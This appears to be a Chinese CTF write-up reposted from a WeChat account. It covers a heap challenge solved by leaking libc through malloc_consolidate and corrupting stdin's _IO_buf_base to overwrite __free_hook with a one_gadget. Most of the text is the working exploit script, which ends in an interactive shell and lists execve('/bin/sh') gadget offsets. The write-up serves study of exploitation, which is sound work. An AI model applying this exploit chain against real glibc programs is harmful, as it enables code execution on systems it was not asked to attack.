题目后半部分利用手法类似于*CTF的2018 ciscn magic,很值得学习的一道题,首先是题目:
(1)main
(2)sub_12F3
(3)sub_13A1
意思很明显了,不同于常规的堆题,需要一次性输入内容然后解题。
其中:
{ 是 malloc0x20+scanf
} 是 free + pritnf
[ 是 malloc0x10+scanf
] 是 freeptr +pritnf
* 是 任意地址写0 使用的是read写入
( 是 getchar
) 是 putchar
好的先看下exp:
这道题关键就在于泄漏地址和任意地址写,需要用到malloc_consolidate和stdin
payload=b'{}[]{}*'+b'('*0x30+b"{}"
sl(payload)
# 这里可以输入数字因为是%d,也可以输入符号+-默认认为是计算符号跳过输入,但是不能用特殊符号跳过,因为有换行符会作为下一次的输入导致跳过scanf
sl('1')
# { malloc0x20
# } free
sl('1'*0x400)
# [ malloc0x10
#同时因为scanf输入过大调用malloc,没有合适大小的堆,调用malloc_consolidate合并fastbin进smallbin
# ] freeptr
'''
1、在申请large chunk时,fastbin会进行合并,合并后按照大小进入largebin和smallbin(这是因为,首先这能很好的解决碎片化问题,其次程序很少会连续的既使用小堆块,又使用大堆块)
2、申请的chunk大小大于等于top_chunk的大小时,尝试将fastbin进行整理后再在smallbin和largebin中找
'''
sd(';')#跳出scanf,fd和bk残留libc中的地址
# { malloc0x20
# } free
#-----找到libc基址和stdin,准备任意写------
ru("-1n")
main_area=int(rl())-120
malloc_hook=main_area-0x10
libc_base=malloc_hook-libc.sym.__malloc_hook
free_hook=libc_base+libc.sym.__free_hook
one=libc_base+0x4527a
stdin=libc_base+0x3c48e0
printf(libc_base)
_IO_buf_base=stdin+0x38
printf(_IO_buf_base)
# brk()
#任意地址写0
sd(pld(_IO_buf_base))
# * 任意地址写0 read
sd(pld("x00"*0x18,free_hook,free_hook+8))
'''
根据读取指针的位置和结束位置来判断缓冲区中是否还有可读取的数据。如果读取指针小于结束位置,说明缓冲区中还有数据可以读取,scanf等函数会直接从缓冲区中读取数据。即当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。
_IO_buf_base:表示输入缓冲区的起始地址。输入数据会被存储在这个缓冲区中,scanf等函数会从这里读取数据。
_IO_read_ptr:表示输入缓冲区的读取指针。它指向当前可读取的数据在缓冲区中的位置。
_IO_read_end:表示输入缓冲区的结束位置。它指向缓冲区中的最后一个可读取的数据的下一个位置。
'''
# { malloc0x20 scanf
#调用scanf(但是这个时候还写不了_IO_read_ptr= _IO_read_end,所以先调用getchar抬高_IO_read_ptr让我们输入0x30,刚好就是我们串改freehook和one的大小),因为_IO_buf_base后一字节变成0导致写入位置从_IO_write_base开始填充,我们要改写free_hook就需要如下布局,_IO_buf_end大小可以大一点都行,控制了_IO_buf_base与_IO_buf_end就可以控制输入的长度(length = fp->_IO_buf_end - fp->_IO_buf_base)和位置(_IO_buf_base)
'''
_IO_write_base = 任意
_IO_write_ptr = 任意
_IO_write_end = 任意
_IO_buf_base = free_hook
_IO_buf_end = free_hook+8
'''
sd(pld(one))#onegadget
# { malloc0x20 scanf
#free_hook改onegadget
interactive()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == N
'''
原文始发于微信公众号(由由学习吧):国际赛stdin攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论